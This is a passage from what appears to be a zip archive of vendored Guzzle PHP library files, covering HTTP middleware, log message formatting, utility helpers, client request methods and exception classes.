     * @param string                                     $logLevel  Level at which to log requests.
     *
     * @return callable Returns a function that accepts the next handler.
     */
    public static function log(LoggerInterface $logger, $formatter, string $logLevel = 'info'): callable
    {
        // To be compatible with Guzzle 7.1.x we need to allow users to pass a MessageFormatter
        if (!$formatter instanceof MessageFormatter && !$formatter instanceof MessageFormatterInterface) {
            throw new \LogicException(sprintf('Argument 2 to %s::log() must be of type %s', self::class, MessageFormatterInterface::class));
        }

        return static function (callable $handler) use ($logger, $formatter, $logLevel): callable {
            return static function (RequestInterface $request, array $options = []) use ($handler, $logger, $formatter, $logLevel) {
                return $handler($request, $options)->then(
                    static function ($response) use ($logger, $request, $formatter, $logLevel): ResponseInterface {
                        $message = $formatter->format($request, $response);
                        $logger->log($logLevel, $message);

                        return $response;
                    },
                    static function ($reason) use ($logger, $request, $formatter): PromiseInterface {
                        $response = $reason instanceof RequestException ? $reason->getResponse() : null;
                        $message = $formatter->format($request, $response, P\Create::exceptionFor($reason));
                        $logger->error($message);

                        return P\Create::rejectionFor($reason);
                    }
                );
            };
        };
    }

    /**
     * This middleware adds a default content-type if possible, a default
     * content-length or transfer-encoding header, and the expect header.
     */
    public static function prepareBody(): callable
    {
        return static function (callable $handler): PrepareBodyMiddleware {
            return new PrepareBodyMiddleware($handler);
        };
    }

    /**
     * Middleware that applies a map function to the request before passing to
     * the next handler.
     *
     * @param callable $fn Function that accepts a RequestInterface and returns
     *                     a RequestInterface.
     */
    public static function mapRequest(callable $fn): callable
    {
        return static function (callable $handler) use ($fn): callable {
            return static function (RequestInterface $request, array $options) use ($handler, $fn) {
                return $handler($fn($request), $options);
            };
        };
    }

    /**
     * Middleware that applies a map function to the resolved promise's
     * response.
     *
     * @param callable $fn Function that accepts a ResponseInterface and
     *                     returns a ResponseInterface.
     */
    public static function mapResponse(callable $fn): callable
    {
        return static function (callable $handler) use ($fn): callable {
            return static function (RequestInterface $request, array $options) use ($handler, $fn) {
                return $handler($request, $options)->then($fn);
            };
        };
    }
}
PK
h�\G�Lss1vendor/guzzlehttp/guzzle/src/MessageFormatter.phpnu�[���<?php

namespace GuzzleHttp;

use Psr\Http\Message\MessageInterface;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;

/**
 * Formats log messages using variable substitutions for requests, responses,
 * and other transactional data.
 *
 * The following variable substitutions are supported:
 *
 * - {request}:        Full HTTP request message
 * - {response}:       Full HTTP response message
 * - {ts}:             ISO 8601 date in GMT
 * - {date_iso_8601}   ISO 8601 date in GMT
 * - {date_common_log} Apache common log date using the configured timezone.
 * - {host}:           Host of the request
 * - {method}:         Method of the request
 * - {uri}:            URI of the request
 * - {version}:        Protocol version
 * - {target}:         Request target of the request (path + query + fragment)
 * - {hostname}:       Hostname of the machine that sent the request
 * - {code}:           Status code of the response (if available)
 * - {phrase}:         Reason phrase of the response  (if available)
 * - {error}:          Any error messages (if available)
 * - {req_header_*}:   Replace `*` with the lowercased name of a request header to add to the message
 * - {res_header_*}:   Replace `*` with the lowercased name of a response header to add to the message
 * - {req_headers}:    Request headers
 * - {res_headers}:    Response headers
 * - {req_body}:       Request body
 * - {res_body}:       Response body
 *
 * @final
 */
class MessageFormatter implements MessageFormatterInterface
{
    /**
     * Apache Common Log Format.
     *
     * @see https://httpd.apache.org/docs/2.4/logs.html#common
     *
     * @var string
     */
    public const CLF = '{hostname} {req_header_User-Agent} - [{date_common_log}] "{method} {target} HTTP/{version}" {code} {res_header_Content-Length}';
    public const DEBUG = ">>>>>>>>\n{request}\n<<<<<<<<\n{response}\n--------\n{error}";
    public const SHORT = '[{ts}] "{method} {target} HTTP/{version}" {code}';

    /**
     * @var string Template used to format log messages
     */
    private $template;

    /**
     * @param string $template Log message template
     */
    public function __construct(?string $template = self::CLF)
    {
        $this->template = $template ?: self::CLF;
    }

    /**
     * Returns a formatted message string.
     *
     * @param RequestInterface       $request  Request that was sent
     * @param ResponseInterface|null $response Response that was received
     * @param \Throwable|null        $error    Exception that was received
     */
    public function format(RequestInterface $request, ResponseInterface $response = null, \Throwable $error = null): string
    {
        $cache = [];

        /** @var string */
        return \preg_replace_callback(
            '/{\s*([A-Za-z_\-\.0-9]+)\s*}/',
            function (array $matches) use ($request, $response, $error, &$cache) {
                if (isset($cache[$matches[1]])) {
                    return $cache[$matches[1]];
                }

                $result = '';
                switch ($matches[1]) {
                    case 'request':
                        $result = Psr7\Message::toString($request);
                        break;
                    case 'response':
                        $result = $response ? Psr7\Message::toString($response) : '';
                        break;
                    case 'req_headers':
                        $result = \trim($request->getMethod()
                                .' '.$request->getRequestTarget())
                            .' HTTP/'.$request->getProtocolVersion()."\r\n"
                            .$this->headers($request);
                        break;
                    case 'res_headers':
                        $result = $response ?
                            \sprintf(
                                'HTTP/%s %d %s',
                                $response->getProtocolVersion(),
                                $response->getStatusCode(),
                                $response->getReasonPhrase()
                            )."\r\n".$this->headers($response)
                            : 'NULL';
                        break;
                    case 'req_body':
                        $result = $request->getBody()->__toString();
                        break;
                    case 'res_body':
                        if (!$response instanceof ResponseInterface) {
                            $result = 'NULL';
                            break;
                        }

                        $body = $response->getBody();

                        if (!$body->isSeekable()) {
                            $result = 'RESPONSE_NOT_LOGGEABLE';
                            break;
                        }

                        $result = $response->getBody()->__toString();
                        break;
                    case 'ts':
                    case 'date_iso_8601':
                        $result = \gmdate('c');
                        break;
                    case 'date_common_log':
                        $result = \date('d/M/Y:H:i:s O');
                        break;
                    case 'method':
                        $result = $request->getMethod();
                        break;
                    case 'version':
                        $result = $request->getProtocolVersion();
                        break;
                    case 'uri':
                    case 'url':
                        $result = $request->getUri()->__toString();
                        break;
                    case 'target':
                        $result = $request->getRequestTarget();
                        break;
                    case 'req_version':
                        $result = $request->getProtocolVersion();
                        break;
                    case 'res_version':
                        $result = $response
                            ? $response->getProtocolVersion()
                            : 'NULL';
                        break;
                    case 'host':
                        $result = $request->getHeaderLine('Host');
                        break;
                    case 'hostname':
                        $result = \gethostname();
                        break;
                    case 'code':
                        $result = $response ? $response->getStatusCode() : 'NULL';
                        break;
                    case 'phrase':
                        $result = $response ? $response->getReasonPhrase() : 'NULL';
                        break;
                    case 'error':
                        $result = $error ? $error->getMessage() : 'NULL';
                        break;
                    default:
                        // handle prefixed dynamic headers
                        if (\strpos($matches[1], 'req_header_') === 0) {
                            $result = $request->getHeaderLine(\substr($matches[1], 11));
                        } elseif (\strpos($matches[1], 'res_header_') === 0) {
                            $result = $response
                                ? $response->getHeaderLine(\substr($matches[1], 11))
                                : 'NULL';
                        }
                }

                $cache[$matches[1]] = $result;

                return $result;
            },
            $this->template
        );
    }

    /**
     * Get headers from message as string
     */
    private function headers(MessageInterface $message): string
    {
        $result = '';
        foreach ($message->getHeaders() as $name => $values) {
            $result .= $name.': '.\implode(', ', $values)."\r\n";
        }

        return \trim($result);
    }
}
PK
h�\N�33&vendor/guzzlehttp/guzzle/src/Utils.phpnu�[���<?php

namespace GuzzleHttp;

use GuzzleHttp\Exception\InvalidArgumentException;
use GuzzleHttp\Handler\CurlHandler;
use GuzzleHttp\Handler\CurlMultiHandler;
use GuzzleHttp\Handler\Proxy;
use GuzzleHttp\Handler\StreamHandler;
use Psr\Http\Message\UriInterface;

final class Utils
{
    /**
     * Debug function used to describe the provided value type and class.
     *
     * @param mixed $input
     *
     * @return string Returns a string containing the type of the variable and
     *                if a class is provided, the class name.
     */
    public static function describeType($input): string
    {
        switch (\gettype($input)) {
            case 'object':
                return 'object('.\get_class($input).')';
            case 'array':
                return 'array('.\count($input).')';
            default:
                \ob_start();
                \var_dump($input);
                // normalize float vs double
                /** @var string $varDumpContent */
                $varDumpContent = \ob_get_clean();

                return \str_replace('double(', 'float(', \rtrim($varDumpContent));
        }
    }

    /**
     * Parses an array of header lines into an associative array of headers.
     *
     * @param iterable $lines Header lines array of strings in the following
     *                        format: "Name: Value"
     */
    public static function headersFromLines(iterable $lines): array
    {
        $headers = [];

        foreach ($lines as $line) {
            $parts = \explode(':', $line, 2);
            $headers[\trim($parts[0])][] = isset($parts[1]) ? \trim($parts[1]) : null;
        }

        return $headers;
    }

    /**
     * Returns a debug stream based on the provided variable.
     *
     * @param mixed $value Optional value
     *
     * @return resource
     */
    public static function debugResource($value = null)
    {
        if (\is_resource($value)) {
            return $value;
        }
        if (\defined('STDOUT')) {
            return \STDOUT;
        }

        return \GuzzleHttp\Psr7\Utils::tryFopen('php://output', 'w');
    }

    /**
     * Chooses and creates a default handler to use based on the environment.
     *
     * The returned handler is not wrapped by any default middlewares.
     *
     * @return callable(\Psr\Http\Message\RequestInterface, array): \GuzzleHttp\Promise\PromiseInterface Returns the best handler for the given system.
     *
     * @throws \RuntimeException if no viable Handler is available.
     */
    public static function chooseHandler(): callable
    {
        $handler = null;

        if (\defined('CURLOPT_CUSTOMREQUEST')) {
            if (\function_exists('curl_multi_exec') && \function_exists('curl_exec')) {
                $handler = Proxy::wrapSync(new CurlMultiHandler(), new CurlHandler());
            } elseif (\function_exists('curl_exec')) {
                $handler = new CurlHandler();
            } elseif (\function_exists('curl_multi_exec')) {
                $handler = new CurlMultiHandler();
            }
        }

        if (\ini_get('allow_url_fopen')) {
            $handler = $handler
                ? Proxy::wrapStreaming($handler, new StreamHandler())
                : new StreamHandler();
        } elseif (!$handler) {
            throw new \RuntimeException('GuzzleHttp requires cURL, the allow_url_fopen ini setting, or a custom HTTP handler.');
        }

        return $handler;
    }

    /**
     * Get the default User-Agent string to use with Guzzle.
     */
    public static function defaultUserAgent(): string
    {
        return sprintf('GuzzleHttp/%d', ClientInterface::MAJOR_VERSION);
    }

    /**
     * Returns the default cacert bundle for the current system.
     *
     * First, the openssl.cafile and curl.cainfo php.ini settings are checked.
     * If those settings are not configured, then the common locations for
     * bundles found on Red Hat, CentOS, Fedora, Ubuntu, Debian, FreeBSD, OS X
     * and Windows are checked. If any of these file locations are found on
     * disk, they will be utilized.
     *
     * Note: the result of this function is cached for subsequent calls.
     *
     * @throws \RuntimeException if no bundle can be found.
     *
     * @deprecated Utils::defaultCaBundle will be removed in guzzlehttp/guzzle:8.0. This method is not needed in PHP 5.6+.
     */
    public static function defaultCaBundle(): string
    {
        static $cached = null;
        static $cafiles = [
            // Red Hat, CentOS, Fedora (provided by the ca-certificates package)
            '/etc/pki/tls/certs/ca-bundle.crt',
            // Ubuntu, Debian (provided by the ca-certificates package)
            '/etc/ssl/certs/ca-certificates.crt',
            // FreeBSD (provided by the ca_root_nss package)
            '/usr/local/share/certs/ca-root-nss.crt',
            // SLES 12 (provided by the ca-certificates package)
            '/var/lib/ca-certificates/ca-bundle.pem',
            // OS X provided by homebrew (using the default path)
            '/usr/local/etc/openssl/cert.pem',
            // Google app engine
            '/etc/ca-certificates.crt',
            // Windows?
            'C:\\windows\\system32\\curl-ca-bundle.crt',
            'C:\\windows\\curl-ca-bundle.crt',
        ];

        if ($cached) {
            return $cached;
        }

        if ($ca = \ini_get('openssl.cafile')) {
            return $cached = $ca;
        }

        if ($ca = \ini_get('curl.cainfo')) {
            return $cached = $ca;
        }

        foreach ($cafiles as $filename) {
            if (\file_exists($filename)) {
                return $cached = $filename;
            }
        }

        throw new \RuntimeException(
            <<< EOT
No system CA bundle could be found in any of the the common system locations.
PHP versions earlier than 5.6 are not properly configured to use the system's
CA bundle by default. In order to verify peer certificates, you will need to
supply the path on disk to a certificate bundle to the 'verify' request
option: https://docs.guzzlephp.org/en/latest/request-options.html#verify. If
you do not need a specific certificate bundle, then Mozilla provides a commonly
used CA bundle which can be downloaded here (provided by the maintainer of
cURL): https://curl.haxx.se/ca/cacert.pem. Once you have a CA bundle available
on disk, you can set the 'openssl.cafile' PHP ini setting to point to the path
to the file, allowing you to omit the 'verify' request option. See
https://curl.haxx.se/docs/sslcerts.html for more information.
EOT
        );
    }

    /**
     * Creates an associative array of lowercase header names to the actual
     * header casing.
     */
    public static function normalizeHeaderKeys(array $headers): array
    {
        $result = [];
        foreach (\array_keys($headers) as $key) {
            $result[\strtolower($key)] = $key;
        }

        return $result;
    }

    /**
     * Returns true if the provided host matches any of the no proxy areas.
     *
     * This method will strip a port from the host if it is present. Each pattern
     * can be matched with an exact match (e.g., "foo.com" == "foo.com") or a
     * partial match: (e.g., "foo.com" == "baz.foo.com" and ".foo.com" ==
     * "baz.foo.com", but ".foo.com" != "foo.com").
     *
     * Areas are matched in the following cases:
     * 1. "*" (without quotes) always matches any hosts.
     * 2. An exact match.
     * 3. The area starts with "." and the area is the last part of the host. e.g.
     *    '.mit.edu' will match any host that ends with '.mit.edu'.
     *
     * @param string   $host         Host to check against the patterns.
     * @param string[] $noProxyArray An array of host patterns.
     *
     * @throws InvalidArgumentException
     */
    public static function isHostInNoProxy(string $host, array $noProxyArray): bool
    {
        if (\strlen($host) === 0) {
            throw new InvalidArgumentException('Empty host provided');
        }

        // Strip port if present.
        [$host] = \explode(':', $host, 2);

        foreach ($noProxyArray as $area) {
            // Always match on wildcards.
            if ($area === '*') {
                return true;
            }

            if (empty($area)) {
                // Don't match on empty values.
                continue;
            }

            if ($area === $host) {
                // Exact matches.
                return true;
            }
            // Special match if the area when prefixed with ".". Remove any
            // existing leading "." and add a new leading ".".
            $area = '.'.\ltrim($area, '.');
            if (\substr($host, -\strlen($area)) === $area) {
                return true;
            }
        }

        return false;
    }

    /**
     * Wrapper for json_decode that throws when an error occurs.
     *
     * @param string $json    JSON data to parse
     * @param bool   $assoc   When true, returned objects will be converted
     *                        into associative arrays.
     * @param int    $depth   User specified recursion depth.
     * @param int    $options Bitmask of JSON decode options.
     *
     * @return object|array|string|int|float|bool|null
     *
     * @throws InvalidArgumentException if the JSON cannot be decoded.
     *
     * @see https://www.php.net/manual/en/function.json-decode.php
     */
    public static function jsonDecode(string $json, bool $assoc = false, int $depth = 512, int $options = 0)
    {
        $data = \json_decode($json, $assoc, $depth, $options);
        if (\JSON_ERROR_NONE !== \json_last_error()) {
            throw new InvalidArgumentException('json_decode error: '.\json_last_error_msg());
        }

        return $data;
    }

    /**
     * Wrapper for JSON encoding that throws when an error occurs.
     *
     * @param mixed $value   The value being encoded
     * @param int   $options JSON encode option bitmask
     * @param int   $depth   Set the maximum depth. Must be greater than zero.
     *
     * @throws InvalidArgumentException if the JSON cannot be encoded.
     *
     * @see https://www.php.net/manual/en/function.json-encode.php
     */
    public static function jsonEncode($value, int $options = 0, int $depth = 512): string
    {
        $json = \json_encode($value, $options, $depth);
        if (\JSON_ERROR_NONE !== \json_last_error()) {
            throw new InvalidArgumentException('json_encode error: '.\json_last_error_msg());
        }

        /** @var string */
        return $json;
    }

    /**
     * Wrapper for the hrtime() or microtime() functions
     * (depending on the PHP version, one of the two is used)
     *
     * @return float UNIX timestamp
     *
     * @internal
     */
    public static function currentTime(): float
    {
        return (float) \function_exists('hrtime') ? \hrtime(true) / 1e9 : \microtime(true);
    }

    /**
     * @throws InvalidArgumentException
     *
     * @internal
     */
    public static function idnUriConvert(UriInterface $uri, int $options = 0): UriInterface
    {
        if ($uri->getHost()) {
            $asciiHost = self::idnToAsci($uri->getHost(), $options, $info);
            if ($asciiHost === false) {
                $errorBitSet = $info['errors'] ?? 0;

                $errorConstants = array_filter(array_keys(get_defined_constants()), static function (string $name): bool {
                    return substr($name, 0, 11) === 'IDNA_ERROR_';
                });

                $errors = [];
                foreach ($errorConstants as $errorConstant) {
                    if ($errorBitSet & constant($errorConstant)) {
                        $errors[] = $errorConstant;
                    }
                }

                $errorMessage = 'IDN conversion failed';
                if ($errors) {
                    $errorMessage .= ' (errors: '.implode(', ', $errors).')';
                }

                throw new InvalidArgumentException($errorMessage);
            }
            if ($uri->getHost() !== $asciiHost) {
                // Replace URI only if the ASCII version is different
                $uri = $uri->withHost($asciiHost);
            }
        }

        return $uri;
    }

    /**
     * @internal
     */
    public static function getenv(string $name): ?string
    {
        if (isset($_SERVER[$name])) {
            return (string) $_SERVER[$name];
        }

        if (\PHP_SAPI === 'cli' && ($value = \getenv($name)) !== false && $value !== null) {
            return (string) $value;
        }

        return null;
    }

    /**
     * @return string|false
     */
    private static function idnToAsci(string $domain, int $options, ?array &$info = [])
    {
        if (\function_exists('idn_to_ascii') && \defined('INTL_IDNA_VARIANT_UTS46')) {
            return \idn_to_ascii($domain, $options, \INTL_IDNA_VARIANT_UTS46, $info);
        }

        throw new \Error('ext-idn or symfony/polyfill-intl-idn not loaded or too old');
    }
}
PK
h�\�^:ww/vendor/guzzlehttp/guzzle/src/BodySummarizer.phpnu�[���<?php

namespace GuzzleHttp;

use Psr\Http\Message\MessageInterface;

final class BodySummarizer implements BodySummarizerInterface
{
    /**
     * @var int|null
     */
    private $truncateAt;

    public function __construct(int $truncateAt = null)
    {
        $this->truncateAt = $truncateAt;
    }

    /**
     * Returns a summarized message body.
     */
    public function summarize(MessageInterface $message): ?string
    {
        return $this->truncateAt === null
            ? \GuzzleHttp\Psr7\Message::bodySummary($message)
            : \GuzzleHttp\Psr7\Message::bodySummary($message, $this->truncateAt);
    }
}
PK
h�\��Vx.#.#,vendor/guzzlehttp/guzzle/src/ClientTrait.phpnu�[���<?php

namespace GuzzleHttp;

use GuzzleHttp\Exception\GuzzleException;
use GuzzleHttp\Promise\PromiseInterface;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\UriInterface;

/**
 * Client interface for sending HTTP requests.
 */
trait ClientTrait
{
    /**
     * Create and send an HTTP request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well.
     *
     * @param string              $method  HTTP method.
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     *
     * @throws GuzzleException
     */
    abstract public function request(string $method, $uri, array $options = []): ResponseInterface;

    /**
     * Create and send an HTTP GET request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well.
     *
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     *
     * @throws GuzzleException
     */
    public function get($uri, array $options = []): ResponseInterface
    {
        return $this->request('GET', $uri, $options);
    }

    /**
     * Create and send an HTTP HEAD request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well.
     *
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     *
     * @throws GuzzleException
     */
    public function head($uri, array $options = []): ResponseInterface
    {
        return $this->request('HEAD', $uri, $options);
    }

    /**
     * Create and send an HTTP PUT request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well.
     *
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     *
     * @throws GuzzleException
     */
    public function put($uri, array $options = []): ResponseInterface
    {
        return $this->request('PUT', $uri, $options);
    }

    /**
     * Create and send an HTTP POST request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well.
     *
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     *
     * @throws GuzzleException
     */
    public function post($uri, array $options = []): ResponseInterface
    {
        return $this->request('POST', $uri, $options);
    }

    /**
     * Create and send an HTTP PATCH request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well.
     *
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     *
     * @throws GuzzleException
     */
    public function patch($uri, array $options = []): ResponseInterface
    {
        return $this->request('PATCH', $uri, $options);
    }

    /**
     * Create and send an HTTP DELETE request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well.
     *
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     *
     * @throws GuzzleException
     */
    public function delete($uri, array $options = []): ResponseInterface
    {
        return $this->request('DELETE', $uri, $options);
    }

    /**
     * Create and send an asynchronous HTTP request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well. Use an array to provide a URL
     * template and additional variables to use in the URL template expansion.
     *
     * @param string              $method  HTTP method
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     */
    abstract public function requestAsync(string $method, $uri, array $options = []): PromiseInterface;

    /**
     * Create and send an asynchronous HTTP GET request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well. Use an array to provide a URL
     * template and additional variables to use in the URL template expansion.
     *
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     */
    public function getAsync($uri, array $options = []): PromiseInterface
    {
        return $this->requestAsync('GET', $uri, $options);
    }

    /**
     * Create and send an asynchronous HTTP HEAD request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well. Use an array to provide a URL
     * template and additional variables to use in the URL template expansion.
     *
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     */
    public function headAsync($uri, array $options = []): PromiseInterface
    {
        return $this->requestAsync('HEAD', $uri, $options);
    }

    /**
     * Create and send an asynchronous HTTP PUT request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well. Use an array to provide a URL
     * template and additional variables to use in the URL template expansion.
     *
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     */
    public function putAsync($uri, array $options = []): PromiseInterface
    {
        return $this->requestAsync('PUT', $uri, $options);
    }

    /**
     * Create and send an asynchronous HTTP POST request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well. Use an array to provide a URL
     * template and additional variables to use in the URL template expansion.
     *
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     */
    public function postAsync($uri, array $options = []): PromiseInterface
    {
        return $this->requestAsync('POST', $uri, $options);
    }

    /**
     * Create and send an asynchronous HTTP PATCH request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well. Use an array to provide a URL
     * template and additional variables to use in the URL template expansion.
     *
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     */
    public function patchAsync($uri, array $options = []): PromiseInterface
    {
        return $this->requestAsync('PATCH', $uri, $options);
    }

    /**
     * Create and send an asynchronous HTTP DELETE request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well. Use an array to provide a URL
     * template and additional variables to use in the URL template expansion.
     *
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     */
    public function deleteAsync($uri, array $options = []): PromiseInterface
    {
        return $this->requestAsync('DELETE', $uri, $options);
    }
}
PK
h�\�F�j��:vendor/guzzlehttp/guzzle/src/Exception/ServerException.phpnu�[���<?php

namespace GuzzleHttp\Exception;

/**
 * Exception when a server error is encountered (5xx codes)
 */
class ServerException extends BadResponseException
{
}
PK
h�\�N�
��;vendor/guzzlehttp/guzzle/src/Exception/ConnectException.phpnu�[���<?php

namespace GuzzleHttp\Exception;

use Psr\Http\Client\NetworkExceptionInterface;
use Psr\Http\Message\RequestInterface;

/**
 * Exception thrown when a connection cannot be established.
 *
 * Note that no response is present for a ConnectException
 */
class ConnectException extends TransferException implements NetworkExceptionInterface
{
    /**
     * @var RequestInterface
     */
    private $request;

    /**
     * @var array
     */
    private $handlerContext;

    public function __construct(
        string $message,
        RequestInterface $request,
        \Throwable $previous = null,
        array $handlerContext = []
    ) {
        parent::__construct($message, 0, $previous);
        $this->request = $request;
        $this->handlerContext = $handlerContext;
    }

    /**
     * Get the request that caused the exception
     */
    public function getRequest(): RequestInterface
    {
        return $this->request;
    }

    /**
     * Get contextual information about the error from the underlying handler.
     *
     * The contents of this array will vary depending on which handler you are
     * using. It may also be just an empty array. Relying on this data will
     * couple you to a specific handler, but can give more debug information
     * when needed.
     */
    public function getHandlerContext(): array
    {
        return $this->handlerContext;
    }
}
PK
h�\5O\$��:vendor/guzzlehttp/guzzle/src/Exception/GuzzleException.phpnu�[���<?php

namespace GuzzleHttp\Exception;

use Psr\Http\Client\ClientExceptionInterface;

interface GuzzleException extends ClientExceptionInterface
{
}
PK
h�\c�o���Cvendor/guzzlehttp/guzzle/src/Exception/InvalidArgumentException.phpnu�[���<?php

namespace GuzzleHttp\Exception;

final class InvalidArgumentException extends \InvalidArgumentException implements GuzzleException
{
}
PK
h�\��/�yy<vendor/guzzlehttp/guzzle/src/Exception/TransferException.phpnu�[���<?php

namespace GuzzleHttp\Exception;

class TransferException extends \RuntimeException implements GuzzleException
{
}
PK
h�\0؜���;vendor/guzzlehttp/guzzle/src/Exception/RequestException.phpnu�[���<?php

namespace GuzzleHttp\Exception;

use GuzzleHttp\BodySummarizer;
use GuzzleHttp\BodySummarizerInterface;
use Psr\Http\Client\RequestExceptionInterface;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\UriInterface;

/**
 * HTTP Request exception
 */
class RequestException extends TransferException implements RequestExceptionInterface
{
    /**
     * @var RequestInterface
     */
    private $request;

    /**
     * @var ResponseInterface|null
     */
    private $response;

    /**
     * @var array
     */
    private $handlerContext;

    public function __construct(
        string $message,
        RequestInterface $request,
        ResponseInterface $response = null,
        \Throwable $previous = null,
        array $handlerContext = []
    ) {
        // Set the code of the exception if the response is set and not future.
        $code = $response ? $response->getStatusCode() : 0;
        parent::__construct($message, $code, $previous);
        $this->request = $request;
        $this->response = $response;
        $this->handlerContext = $handlerContext;
    }

    /**
     * Wrap non-RequestExceptions with a RequestException
     */
    public static function wrapException(RequestInterface $request, \Throwable $e): RequestException
    {
        return $e instanceof RequestException ? $e : new RequestException($e->getMessage(), $request, null, $e);
    }

    /**
     * Factory method to create a new exception with a normalized error message
     *
     * @param RequestInterface             $request        Request sent
     * @param ResponseInterface            $response       Response received
     * @param \Throwable|null              $previous       Previous exception
     * @param array                        $handlerContext Optional handler context
     * @param BodySummarizerInterface|null $bodySummarizer Optional body summarizer
     */
    public static function create(
        RequestInterface $request,
        ResponseInterface $response = null,
        \Throwable $previous = null,
        array $handlerContext = [],
        BodySummarizerInterface $bodySummarizer = null
    ): self {
        if (!$response) {
            return new self(
                'Error completing request',
                $request,
                null,
                $previous,
                $handlerContext
            );
        }

        $level = (int) \floor($response->getStatusCode() / 100);
        if ($level === 4) {
            $label = 'Client error';
            $className = ClientException::class;
        } elseif ($level === 5) {
            $label = 'Server error';
            $className = ServerException::class;
        } else {
            $label = 'Unsuccessful request';
            $className = __CLASS__;
        }

        $uri = $request->getUri();
        $uri = static::obfuscateUri($uri);

        // Client Error: `GET /` resulted in a `404 Not Found` response:
        // <html> ... (truncated)
        $message = \sprintf(
            '%s: `%s %s` resulted in a `%s %s` response',
            $label,
            $request->getMethod(),
            $uri->__toString(),
            $response->getStatusCode(),
            $response->getReasonPhrase()
        );

        $summary = ($bodySummarizer ?? new BodySummarizer())->summarize($response);

        if ($summary !== null) {
            $message .= ":\n{$summary}\n";
        }

        return new $className($message, $request, $response, $previous, $handlerContext);
    }

    /**
     * Obfuscates URI if there is a username and a password present
     */
    private static function obfuscateUri(UriInterface $uri): UriInterface
    {
        $userInfo = $uri->getUserInfo();

        if (false !== ($pos = \strpos($userInfo, ':'))) {
            return $uri->withUserInfo(\substr($userInfo, 0, $pos), '***');
        }

        return $uri;
    }

    /**
     * Get the request that caused the exception
     */
    public function getRequest(): RequestInterface
    {
        return $this->request;
    }

    /**
     * Get the associated response
     */
    public function getResponse(): ?ResponseInterface
    {
        return $this->response;
    }

    /**
     * Check if a response was received
     */
    public function hasResponse(): bool
    {
        return $this->response !== null;
    }

    /**
     * Get contextual information about the error from the underlying handler.
     *
     * The contents of this array will vary depending on which handler you are
     * using. It may also be just an empty array. Relying on this data will
     * couple you to a specific handler, but can give more debug information
     * when needed.
     */
    public function getHandlerContext(): array
    {
        return $this->handlerContext;
    }
}
PK
h�\j���:vendor/guzzlehttp/guzzle/src/Exception/ClientException.phpnu�[���<?php

namespace GuzzleHttp\Exception;

/**
 * Exception when a client error is encountered (4xx codes)
 */
class ClientException extends BadResponseException
{
}
PK
h�\��Om��?vendor/guzzlehttp/guzzle/src/Exception/BadResponseException.phpnu�[���<?php

namespace GuzzleHttp\Exception;

use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;

/**
 * Exception when an HTTP error occurs (4xx or 5xx error)
 */
class BadResponseException extends RequestException
{
    public function __construct(
        string $message,
        RequestInterface $request,
        ResponseInterface $response,
        \Throwable $previous = null,
        array $handlerContext = []
    ) {
        parent::__construct($message, $request, $response, $previous, $handlerContext);
    }

    /**
     * Current exception and the ones that extend it will always have a response.
     */
    public function hasResponse(): bool
    {
        return true;
    }

    /**
     * This function narrows the return type from the parent class and does not allow it to be nullable.
     */
    public function getResponse(): ResponseInterface
    {
        /** @var ResponseInterface */
        return parent::getResponse();
    }
}
PK
h�\$��eeDvendor/guzzlehttp/guzzle/src/Exception/TooManyRedirectsException.phpnu�[���<?php

namespace GuzzleHttp\Exception;

class TooManyRedirectsException extends RequestException
{
}
PK
h�\�t�//:vendor/guzzlehttp/guzzle/src/MessageFormatterInterface.phpnu�[���<?php

namespace GuzzleHttp;

use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;

interface MessageFormatterInterface
{
    /**
     * Returns a formatted message string.
     *
     * @param RequestInterface       $request  Request that was sent
     * @param ResponseInterface|null $response Response that was received
     * @param \Throwable|null        $error    Exception that was received
     */
    public function format(RequestInterface $request, ResponseInterface $response = null, \Throwable $error = null): string;
}
PK
